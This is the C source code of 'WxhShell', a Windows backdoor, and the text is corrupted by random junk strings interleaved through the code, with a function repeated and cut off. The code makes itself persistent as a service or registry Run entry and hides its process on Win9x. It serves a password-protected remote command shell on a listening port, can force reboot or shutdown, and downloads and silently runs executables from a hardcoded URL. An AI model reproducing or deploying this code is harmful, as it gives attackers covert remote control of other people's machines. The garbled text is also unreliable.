oNrc. PROCESS_BASIC_INFORMATION pbi; x>[ gShAV! A@I3:V HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j!?bE3r~ if(NULL == hInst ) return 0; g7]g0*gxXW !%G;t$U=M g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ev(E g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /C[XC7^4' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N|s8PIcSp (FNX>2Mv if (!NtQueryInformationProcess) return 0; N_y#Y{c{( (7}Zh|@W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `qr.@0whP if(!hProcess) return 0; lJBZ0 iSj.lW if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a(+u"Kr
z i8(n( CloseHandle(hProcess); IS }U2d,W O:[@?l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VN<baK%] if(hProcess==NULL) return 0; AKKVd%
P( [{rne2sA HMODULE hMod; q&EwD(k char procName[255]; N+ ei)- unsigned long cbNeeded; 6)#%36rP T04&Tl'CT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VDPq3`$+v{ Wi!$bL`l CloseHandle(hProcess); (:J
U G)y'ex k if(strstr(procName,"services")) return 1; // 以服务启动 4 !M6RL8{ F}_Zh9/$( return 0; // 注册表启动 uBBW2 } \AB*C_Ri ;Q%3WD // 主模块 I6F $@ int StartWxhshell(LPSTR lpCmdLine) R2nDK7j { uWerC?da SOCKET wsl; ;JR_z'< BOOL val=TRUE; bn"z&g int port=0; ~1.~4~um struct sockaddr_in door; ;WsV.n fn\&%`U if(wscfg.ws_autoins) Install(); ~Uaz;<"j0 !EO
2 port=atoi(lpCmdLine); kpO+ +8V| if(port<=0) port=wscfg.ws_port; ? 1b*9G%i U7Pn
$l2! WSADATA data; 97SG;,6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !fG`xZ~ V@1K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >oc&hT setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v`u>;S_ door.sin_family = AF_INET; 7)v`l1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zl`sY5{1 door.sin_port = htons(port); N`i`[ f %c,CfhEV%& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 55|.MXzq closesocket(wsl); 7!E7XP6,~> return 1; JQWW's} } vD4<G{ >dqeGM7Np> if(listen(wsl,2) == INVALID_SOCKET) { I45\xP4i closesocket(wsl); ~6:y@4&F return 1; p`LPO } cK+y3`.0 Wxhshell(wsl); r=pb7=M#LN WSACleanup(); vE+OL8 V $;%dQ!7* return 0; {uMqd-Uu FUU/=)^P$ } 2T#>66^@q _7 9 ?,U] // 以NT服务方式启动 Y=N; Bj VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <E&"] { k34!*(`q DWORD status = 0; qfzT8-Y DWORD specificError = 0xfffffff; db.E-@W.OI /Q[M2DN@ serviceStatus.dwServiceType = SERVICE_WIN32; }]?U.
]- serviceStatus.dwCurrentState = SERVICE_START_PENDING; B3|r O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]&/KAk serviceStatus.dwWin32ExitCode = 0; j{a3AEmps serviceStatus.dwServiceSpecificExitCode = 0; iVGc\6+' serviceStatus.dwCheckPoint = 0; *Ad7GG1/u serviceStatus.dwWaitHint = 0; yS:1F
PA$_ 2Md'<. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IKV:J9 if (hServiceStatusHandle==0) return; P&@[ j0 ewcgg status = GetLastError(); kaj6C_k| if (status!=NO_ERROR) ';bovh@* { ZM%z"hO9R serviceStatus.dwCurrentState = SERVICE_STOPPED; ,0Y5O?pu\ serviceStatus.dwCheckPoint = 0; 4?^t=7N serviceStatus.dwWaitHint = 0; [,fd Nxc8 serviceStatus.dwWin32ExitCode = status; &$</|F)y serviceStatus.dwServiceSpecificExitCode = specificError; 5U/1Z{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); f~D>
*<L4- return; NTtRz( } ]xIfgSq [#R<Z+c serviceStatus.dwCurrentState = SERVICE_RUNNING; %L9A6%gr
serviceStatus.dwCheckPoint = 0; (^Kcyag4 serviceStatus.dwWaitHint = 0; .%4{zaB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R'q:Fc } ;hLne0|)} [oQ&}3\XJ // 处理NT服务事件,比如:启动、停止 j\SW~}d9 VOID WINAPI NTServiceHandler(DWORD fdwControl) cAE.I$T( { :J}@*>c switch(fdwControl) 8HLcDS# { 7E9h!<5v case SERVICE_CONTROL_STOP: IFY,j8~q serviceStatus.dwWin32ExitCode = 0; pMX#!wb serviceStatus.dwCurrentState = SERVICE_STOPPED; z<F.0~)jb serviceStatus.dwCheckPoint = 0; AQ 5CrYb serviceStatus.dwWaitHint = 0; lAwOp { Q`}n;DV SetServiceStatus(hServiceStatusHandle, &serviceStatus); QAy9RQ0 } KD~F5aS`[ return; NX(.Lw} case SERVICE_CONTROL_PAUSE: '?~k`zK serviceStatus.dwCurrentState = SERVICE_PAUSED; ?DC3BA\) break; N|ut^X+|\ case SERVICE_CONTROL_CONTINUE: $v6dB {%Qu serviceStatus.dwCurrentState = SERVICE_RUNNING; ,SAS\!hsE break; q_N8JQg case SERVICE_CONTROL_INTERROGATE: 5)yQrS !{: break; sQS2U6 }; ~4mgYzOmD` SetServiceStatus(hServiceStatusHandle, &serviceStatus); .#;;pu7W } fodr1M4J f#p.=F$ // 标准应用程序主函数 >, &6zj int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #mX=Y>l { xe:
D7 ;6} *0V_!k // 获取操作系统版本 |j
i}LWcD OsIsNt=GetOsVer(); G'z&U?Ng GetModuleFileName(NULL,ExeFile,MAX_PATH); 8P 3EQY- d*lnXzQor // 从命令行安装 <oSk!6* if(strpbrk(lpCmdLine,"iI")) Install(); R?Q@)POW ,diV;d // 下载执行文件 jBEt!Azur if(wscfg.ws_downexe) { q*ZjOqj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {A(=phN WinExec(wscfg.ws_filenam,SW_HIDE); By@<N [I@ } +mP3y~|-j eP3)8QC if(!OsIsNt) { ]*^mT&$7 // 如果时win9x,隐藏进程并且设置为注册表启动 5|-(Ic HideProc(); G2k r~FG StartWxhshell(lpCmdLine); 4\?I4|{pC } ujcNSX* else 'sm+3d if(StartFromService()) VPf*>ph= // 以服务方式启动 IjDG StartServiceCtrlDispatcher(DispatchTable); ~`{HWmah else mLO{~ruu // 普通方式启动 IrXC/?^h StartWxhshell(lpCmdLine); n\ma5"n0=\ F,e_ ` return 0; O;:8mm%( } ^AD/N|X^ 'MM#nQ\( 2D
MH@U2 ~2~KcgPsq =========================================== S[NV-)r= oS$&jd WW;S odquAqn 0}Xkj)R, COj50t/ " "0g1'az} &K`[SX= #include <stdio.h> $xS `i-| #include <string.h> Vd|5JA}<" #include <windows.h> X63DBF4A #include <winsock2.h> a'Qy]P}'Ug #include <winsvc.h> F#iLMO&Q #include <urlmon.h> 8@/]ki`> 1`m ~c #pragma comment (lib, "Ws2_32.lib") )j@k[}R#g #pragma comment (lib, "urlmon.lib") FQ?H%UcW d <qbUk3; #define MAX_USER 100 // 最大客户端连接数 d?&?$qf[ #define BUF_SOCK 200 // sock buffer Eln"RKCt}9 #define KEY_BUFF 255 // 输入 buffer {:Z# 8dGe S]1+tj #define REBOOT 0 // 重启 [8SW0wsk #define SHUTDOWN 1 // 关机 cCU'~ OR( )D~:n #define DEF_PORT 5000 // 监听端口 }<&g1x'pa Qkk~{OuC #define REG_LEN 16 // 注册表键长度 :H\6wJ #define SVC_LEN 80 // NT服务名长度 (1(3:)@S6 Os8]iNvW\ // 从dll定义API 8R:H{)o~s} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ` /]8C&u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =X>3C"] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +&a2aEXF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ygUvO3Z 0'|#Hi7@ // wxhshell配置信息 *H&a_s/{Nb struct WSCFG { Y.i<7pBt int ws_port; // 监听端口 KE16BjX@ char ws_passstr[REG_LEN]; // 口令 ; ZL<7tLDb int ws_autoins; // 安装标记, 1=yes 0=no PQvq$|q char ws_regname[REG_LEN]; // 注册表键名 3VA8K@QiRm char ws_svcname[REG_LEN]; // 服务名 S5v>WI^0h char ws_svcdisp[SVC_LEN]; // 服务显示名 Q_6./.GQ
char ws_svcdesc[SVC_LEN]; // 服务描述信息 P}&7G- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0} liK int ws_downexe; // 下载执行标记, 1=yes 0=no |RAi6;
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yi# Nrc5B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `-s+ zG R`ZU'| }; < W/-[ M 2v`VtV|B // default Wxhshell configuration V uJth
struct WSCFG wscfg={DEF_PORT, zG@9-s* L "xuhuanlingzhe", F>n<;< 1, ,Xk8{= "Wxhshell", xHykU;p@ "Wxhshell", .m/Lon E "WxhShell Service", 0'BR Sa< "Wrsky Windows CmdShell Service", ,`/!0Wmt "Please Input Your Password: ", ui G7 1, Fdu0?H2TL "http://www.wrsky.com/wxhshell.exe", J%f5NSSU{6 "Wxhshell.exe" _ZzPy;[i? }; zi[bpa17W >eAlz4 // 消息定义模块 LD_aJ^(d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V)Z*X88:Tv char *msg_ws_prompt="\n\r? for help\n\r#>"; ;-^WUf| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uTP=kgYqJ char *msg_ws_ext="\n\rExit."; s4MP!n?gB char *msg_ws_end="\n\rQuit."; +Z$X5Th char *msg_ws_boot="\n\rReboot..."; )@1_Dm@0b char *msg_ws_poff="\n\rShutdown..."; StP6G ]x char *msg_ws_down="\n\rSave to "; mkj`z f>ED char *msg_ws_err="\n\rErr!"; yW|yZ(7 char *msg_ws_ok="\n\rOK!"; z
O$SL8U cdzzS?$) char ExeFile[MAX_PATH]; bU2)pD!N int nUser = 0; Sqc*u&W HANDLE handles[MAX_USER]; Kj}hb)HU int OsIsNt; (sJ{27b_ _rs!6tp SERVICE_STATUS serviceStatus; A_Sl#e SERVICE_STATUS_HANDLE hServiceStatusHandle; 9<[RXY O%(:8nIgZ // 函数声明 RJF1~9 int Install(void); u33+ ikYv int Uninstall(void); &}:Hp9n int DownloadFile(char *sURL, SOCKET wsh); B{s[SZ int Boot(int flag); #1u4Hi(x5 void HideProc(void); ,!%[CpM3 int GetOsVer(void); $3Wl~
G} int Wxhshell(SOCKET wsl); Jev@IORN\ void TalkWithClient(void *cs); ?h
K+h .{ int CmdShell(SOCKET sock); \^N9Q9{7] int StartFromService(void);
6=A++H@ int StartWxhshell(LPSTR lpCmdLine); rx_'( N[aK#o, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UTin0k VOID WINAPI NTServiceHandler( DWORD fdwControl ); kX[I|Z= /kx:BoV // 数据结构和表定义 i7e{REBXb SERVICE_TABLE_ENTRY DispatchTable[] = <T { %tUJ >qYU {wscfg.ws_svcname, NTServiceMain}, k[Uc_= {NULL, NULL} Ik;~u8j1e }; ,D
;`t ,589/xTA@ // 自我安装 z56W5g2 int Install(void) *tz"T-6O { 'OBAnE<. char svExeFile[MAX_PATH]; K{M_ 4'\ HKEY key; Om>6<3n strcpy(svExeFile,ExeFile); JWMIZ{/M kwGj7' // 如果是win9x系统,修改注册表设为自启动 m'aw`? if(!OsIsNt) { T{sw{E* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K Qub%`n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a5Xr"- RegCloseKey(key); ET=q
1t8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { quGb;)3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fcJ#\-+E RegCloseKey(key); `'Z ;+h] return 0; Qkr'C
n } z ;
:E~; } 7zR7v } ' 'UiQ else { 1__p1 R8o9$&4_ // 如果是NT以上系统,安装为系统服务 En5I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bB)EJCPq> if (schSCManager!=0) g[H7. { ;\Wg>sq SC_HANDLE schService = CreateService ]7dm`XV
( {r'#(\ schSCManager, /Pg66H#RUf wscfg.ws_svcname, 2{+\\.4Evk wscfg.ws_svcdisp, J&8l1{gd SERVICE_ALL_ACCESS, zq{L:.#ha SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p+9vSM # SERVICE_AUTO_START, J"6_H =s SERVICE_ERROR_NORMAL, =x/]2+
s svExeFile, [R
A=M NULL, c?<FMb3] NULL, ##k=='dR NULL, N<N!it NULL, r<&d1fM;X NULL dBobVT' ); ;zSh9H if (schService!=0) O;qS3 { H1hj` '\"< CloseServiceHandle(schService); Q6.},o CloseServiceHandle(schSCManager); \8_&@uLm strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L2Gm0 v strcat(svExeFile,wscfg.ws_svcname); @#8F5G# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3b#KrN' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3ufUB^@4v RegCloseKey(key); #<v3G)|aS return 0; g<UjB } s'} oVx] } gtCd#t'(V CloseServiceHandle(schSCManager); q7m-} mBN~ } !y4o^Su[ } -fG;`N5U U&`M G1uHe return 1; ajkRL|^ } <k< v
C><N // 自我卸载 lv$tp,+ int Uninstall(void) G+\2Aj { s\>$ K%!H? HKEY key; ]<z>YyBA h\D
y(\ if(!OsIsNt) {
5OKbW! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7U?x8%H* RegDeleteValue(key,wscfg.ws_regname); Nz5gu.a6{L RegCloseKey(key); IU Dp5MIuR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XL} oYL]}& RegDeleteValue(key,wscfg.ws_regname); =GnDiI RegCloseKey(key); q1NAKcA<U return 0; o1I{^7/ } "MK:y[+* } LRB#|PW } (kb^=kw#0 else { ?N $ ~poy`h' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ov?k4kJ if (schSCManager!=0) mQJRq??P { a8Ci 7<V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oqUtW3y if (schService!=0) q|gG{9 { [gH
vI if(DeleteService(schService)!=0) { =<a`G3SY! CloseServiceHandle(schService); W~dS8B=< CloseServiceHandle(schSCManager); j6IWdqXe return 0; Et`z7Q*e } ;t"#7\ CloseServiceHandle(schService); in#g } v0=^Hym CloseServiceHandle(schSCManager); R:i7Rb2C } )ZNH/9e/ } _~5{l_v|I 1(rH5z'F return 1; oh#6>| } gZ/M0px `4 w0*;k; // 从指定url下载文件 #/5jWH7U int DownloadFile(char *sURL, SOCKET wsh) I^\YD9~=x { ]hL 1qS HRESULT hr; F!'b_gmz char seps[]= "/"; O1rnF3Be char *token; Wd&!##3$Q char *file; Ojie.+'SB char myURL[MAX_PATH]; dbE $T char myFILE[MAX_PATH]; [y=k}W}z .w[]Q;K_[) strcpy(myURL,sURL); 4wBMBCJ;P token=strtok(myURL,seps); )Q6R6xW while(token!=NULL) 3xV { S37Bl5W file=token; 65s|gfu/ token=strtok(NULL,seps); e)7[weGN } ,C(")?4aJ &``;1/J*W GetCurrentDirectory(MAX_PATH,myFILE); cKFzn+ strcat(myFILE, "\\"); ?sp strcat(myFILE, file); S-'iOJ1] send(wsh,myFILE,strlen(myFILE),0);
MCL5a@BX) send(wsh,"...",3,0); ykX}T6T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~A [ Ju%R if(hr==S_OK) }UQBaqDH return 0; [S-NGip else rv:,Os_ return 1; c?>Q!sC d8dREhK& } :eei<cn2 e!G
I< // 系统电源模块 i&{8a3B int Boot(int flag) *sZOws< { f>-OwL($P HANDLE hToken; 73 D|gF* TOKEN_PRIVILEGES tkp; QjF.U8 OHM.xw*?. if(OsIsNt) { &{/ `Q, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p>|;fS\`@} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B.0(}@ tkp.PrivilegeCount = 1; URX>(Y}g9^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MDl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rkG*0#k if(flag==REBOOT) { SDDs}mV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8WfF: R; return 0; 5pE[}@-c9 } T3%yV*F, else { ~*THL0]~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ny
p5= return 0; ;:8_H0X'K } o&fAnpia= } 76mQ$ze else { {C|#<}1 if(flag==REBOOT) { ZMy7z| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zSj.Y{J return 0; ^nFa'= } Pm7,Nq)<>n else { mNWmp_c,1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?f CLiK return 0; l J;wl|9 } L7%Dc2{^( } =ni&*& >umcpkp-h return 1; )Xl/|YD } -Ufd+( t 0nGZ%` // win9x进程隐藏模块 L8/o9N1 void HideProc(void) 9I+;waLlB { -:*PXu r >u0Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P_,f if ( hKernel != NULL ) ) ?+-Z2BwA { `c(,_oa{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .e"De-u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b4S7Q"g FreeLibrary(hKernel); ) m%ghpX } J$j&j` !gW$A-XD return; pj?+cy
v~ } Z\6azhbI} :*)~nPVV // 获取操作系统版本 1sGkbfh{t int GetOsVer(void) s80:.B { \*v}IO>2}) OSVERSIONINFO winfo; S2;{)"mS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q~_Nv5r%O GetVersionEx(&winfo); ~}$:iyJV(> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J0C<Qb[ return 1; D8paIp else <!-8g! return 0; (
y'i{:B } 4Y Xtl+G xJJlV P // 客户端句柄模块 D0~ WK
stl int Wxhshell(SOCKET wsl) ?b^VEp.;} { t`Mm SOCKET wsh; TB*g$* struct sockaddr_in client; )PB&w%J DWORD myID; {KdC51"Nv 4/~8zvz&3 while(nUser<MAX_USER) LV4x9?& { E)NH6~ int nSize=sizeof(client); B`T|M$Ug wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t A\N$ if(wsh==INVALID_SOCKET) return 1; k2j:s}RHY q !EJs:AS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D2[uex if(handles[nUser]==0) )wCA8 closesocket(wsh); FOM~Uj else @HMt}zD nUser++; :_p3nb[r } rcF;Lp : WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3k5Mty bxqXFy/I return 0; F2AM/m^!q } <E&1HeP Iwize,J~X // 关闭 socket 9K Ih}Q@P void CloseIt(SOCKET wsh) j/#kO? { NA]7qb%%< closesocket(wsh); [qIi_(%o nUser--; wU2y<?$\8 ExitThread(0); RR75ke[Hs } pIC CjA?3@ [j
'Ogm7" // 客户端请求句柄 jF Bq> void TalkWithClient(void *cs) fP&F$"o8 { d[kb]lC *P61q\2Z SOCKET wsh=(SOCKET)cs; c<y.Y0 char pwd[SVC_LEN]; ;=5V)1~i1; char cmd[KEY_BUFF]; Ty*ec%U9F char chr[1]; E@JxY int i,j; GWM2l?zOP 'R*xg2!i while (nUser < MAX_USER) { 5w@ ;B )>\J~{ if(wscfg.ws_passstr) { &Sa<&2W4S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _B8e1an //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2t<
dCw //ZeroMemory(pwd,KEY_BUFF); f"k?Ix\
e i=0; !_?<-f( while(i<SVC_LEN) { $P866F 7B"J x^ // 设置超时 0`h[|FYV fd_set FdRead; KQJn\#> struct timeval TimeOut; Jk}L+Xvv FD_ZERO(&FdRead); P qagep d FD_SET(wsh,&FdRead); 69dFd!G\ TimeOut.tv_sec=8; [{}9"zB$x0 TimeOut.tv_usec=0; h:z;b; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -E2[PW4$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SR*%-JbA o!q9pt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /JEH%) pwd=chr[0]; (|'w$ if(chr[0]==0xd || chr[0]==0xa) { xp)#a_} pwd=0; _-%ay break; lE?e1mz{
} Jj fNH
~ i++; T9t9]) } { )'D<:T d#ya"e> // 如果是非法用户,关闭 socket 0Y)b319B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jm.pb/ } .x(&- IywovN Tr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cQ6[o"j. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "*RCV6{ l
YH={jJ while(1) { bjm`u3
A \#LKsQa ZeroMemory(cmd,KEY_BUFF); ,*E%D _ J}._v\Q7P // 自动支持客户端 telnet标准 @tEVgyN j=0; ,H22;UV9 while(j<KEY_BUFF) { vEtogkFA" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qt^%jIv cmd[j]=chr[0]; |GdA0y\v*} if(chr[0]==0xa || chr[0]==0xd) { +A~lPXAXW cmd[j]=0; #xW%RF break; 3 [SN[faS } 2}$Vi$
R j++; c`doR(oZ } **! lV]/ >B8)Wb: // 下载文件 jph~g*Z if(strstr(cmd,"http://")) { AN^ , send(wsh,msg_ws_down,strlen(msg_ws_down),0); ])m",8d&T if(DownloadFile(cmd,wsh)) *VHBTO9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4TwU0N+> else n 8AND0a1C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m9#u.Q* } B
susXW$ else { PO&xi9_
`c :'il? switch(cmd[0]) { 7c
%@2
EF"ar // 帮助 Rn(| case '?': { 5Hr(9) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (
fdDFb#1 break; ;Ic3th%u } U?$v1 || // 安装 $XyGCn case 'i': { }Lb];hww1 if(Install()) Wv=L_E_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z]w_2- - else cb'8Li8,j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wTIf#y1=9 break; PDD` eK}Fj } *k+QX // 卸载 6Otv[8^} case 'r': { }ZVNDvGH if(Uninstall()) /jj@ =H send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-WrZ|- else {GHGFi`Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yt!K|g break; Z#V[N9L } A8Jbl^7E+ // 显示 wxhshell 所在路径 fi bR:8 case 'p': { HowlJ[ km% char svExeFile[MAX_PATH]; tCc}}2bC& strcpy(svExeFile,"\n\r"); h$ZF[Xbfe
strcat(svExeFile,ExeFile); _^P>@
^ send(wsh,svExeFile,strlen(svExeFile),0); 5+ fS$Q
break; SCGQo.~, } LR9'BUfFv // 重启 (/@o7&>*50 case 'b': { 5~rs55W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gvcT_' if(Boot(REBOOT)) =WO{h48] send(wsh,msg_ws_err,strlen(msg_ws_err),0); xHD!8B) else { .zegG=q closesocket(wsh); \2NiI]t] ExitThread(0); E"L'm0i[[ } 0
?2#SM break; YLFTf1G9 } r5s*"z // 关机 }\gpO0Ox case 'd': { mY`b|cS3p$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4
Qw;r if(Boot(SHUTDOWN)) N#[/h96F send(wsh,msg_ws_err,strlen(msg_ws_err),0);
VJ=!0v else { I gFz[)
closesocket(wsh); 9R ugkGy ExitThread(0); R0/~)
P } ZT^PL3j+ break; [Xz7.<0#U } Mm/GIa // 获取shell O$&p<~ case 's': { n"dT^
g CmdShell(wsh); ,9A[o`b closesocket(wsh); PMrvUM62 ExitThread(0); Nm;ka&' break; Q2fa]*Z5 } {?m',sG;& // 退出 5@v!wms case 'x': { <?Lj!JGX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aX~iY ~?_ CloseIt(wsh); Eydk645:3 break; i,)kI } F'*{Fk
h // 离开 ;c;;cJc! case 'q': { ]]7s9PCN send(wsh,msg_ws_end,strlen(msg_ws_end),0); CX1'B0=\r closesocket(wsh); oa9T3gQ? WSACleanup(); \7/xb{z| exit(1); DAvAozM break; 9k*'5(D4S } }RyYzm2 } |UlScUI, } lq%s/l #[i({1`^L // 提示信息 xknP
`T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =E,*8O] } _Y~+ #Vc } .79'c%3} }2h~o~ return; i^gzl_! } |5FyfDaFBX ^(6.M\Q // shell模块句柄 ml3]CcKn int CmdShell(SOCKET sock) /#Xz+#SqY { 9wI1/> STARTUPINFO si; RWoa'lnu
ZeroMemory(&si,sizeof(si)); C"F(kgL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @0)bY*njj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2smLv1w@ PROCESS_INFORMATION ProcessInfo; : 0%V:B char cmdline[]="cmd"; ( E0be. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CF$^we return 0; y\@XW*_? } 0<P
-` |X R"82=">v // 自身启动模式 RQh4RUm int StartFromService(void) qvab>U` { \
(X~Z typedef struct :ox+WY { aIm\tPbb DWORD ExitStatus; nNL9B~d DWORD PebBaseAddress; k'S/nF A DWORD AffinityMask; &PGU%"rN DWORD BasePriority; ,Z52dggD ULONG UniqueProcessId; py,z7_Nuh ULONG InheritedFromUniqueProcessId; evn ]n } PROCESS_BASIC_INFORMATION; 5X[=Q> Y=Bk;%yT= PROCNTQSIP NtQueryInformationProcess; HZM&QZHx)` 2>UyA.m0 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,rG$JCS'KQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (A?e}M^} T$RZRZo HANDLE hProcess; u/``*=Y@ PROCESS_BASIC_INFORMATION pbi; hB|LW^@v 5$jKw\FF= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &|',o ?'F if(NULL == hInst ) return 0; ^TDHPBlG cl{;%4$9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }b~ZpUL! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =m1B1St 2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VV?KJz=,W= *,z__S$Q) if (!NtQueryInformationProcess) return 0; CRS/qso[Q' n*' |7 #; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v+Ooihxl if(!hProcess) return 0; <S5Am%vo QPdhesrd- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x==%BBnO% a[t2TjB CloseHandle(hProcess); ~KCOCtiD o,u-% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q;`#ujxL if(hProcess==NULL) return 0; p5Y"W(5_ r6j
3A HMODULE hMod; 5]gd,&^?> char procName[255]; ZG< |